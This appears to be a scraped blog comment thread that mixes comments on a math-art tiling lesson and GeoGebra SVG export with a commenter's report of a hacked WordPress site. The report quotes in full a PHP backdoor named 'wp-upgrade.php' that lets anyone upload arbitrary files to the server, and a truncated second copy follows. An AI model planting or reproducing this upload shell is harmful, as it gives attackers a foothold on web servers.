I'm know I'm not the first person to 'invent' and play around with these tiles, and I know I won't be the last one! I'd be very interested to see the results of any lesson or activity you do involving these tiles. Corrine, of course.

I teach art to at risk elementary school students and would love to bring this project into the classroom as part of a textile design project. May I have permission to use and adapt this lesson? Thank you for the beautiful project. It is very inspiring. This is a beautiful project blending art and math.

Geogebra can already export SVG: Export -> Graphics View As Picture -> SVG The downside, of course, is that you can't interact with the SVG it produces. I believe that you can use Javascript events to make SVG dynamic, but I would be very surprised if wordpress.com allowed any javascript-enabled SVGs onto their site. That’s an interesting point.

Aside from the corrupted theme, the only altered file was a created one, given the innocuous name 'wp-upgrade.php', with the following contents: <? if ($_REQUEST['do']=="upload"){ echo ' <form enctype="multipart/form-data" action="" method="POST"> <input name="file_upload" type="file" /> <input type="submit" name="btnUpload" value="Send File" /></form>'; if ( isset($_POST["btnUpload"]) ) { if ( move_uploaded_file($_FILES["file_upload"]["tmp_name"], $_FILES["file_upload"]["name"])) { echo "<br>Upload thanh cong"; } else { echo "<br>Upload khong thanh cong"; } } } ?> And, amusingly, I see in posting this comment that Wordpress doesn't sanitise comments, as it just displayed the above form as a form when posted... so much for them hardening Wordpress against code injection!

Aside from the corrupted theme, the only altered file was a created one, given the innocuous name ‘wp-upgrade.php’, with the following contents:

<?

echo ‘
<form enctype=”multipart/form-data” action=”" method=”POST”>
<input name=”file_upload” type=”file” />
<input type=”submit” name=”btnUpload” value=”Send File” /></form>’;
if ( isset($_POST["btnUpload"]) )
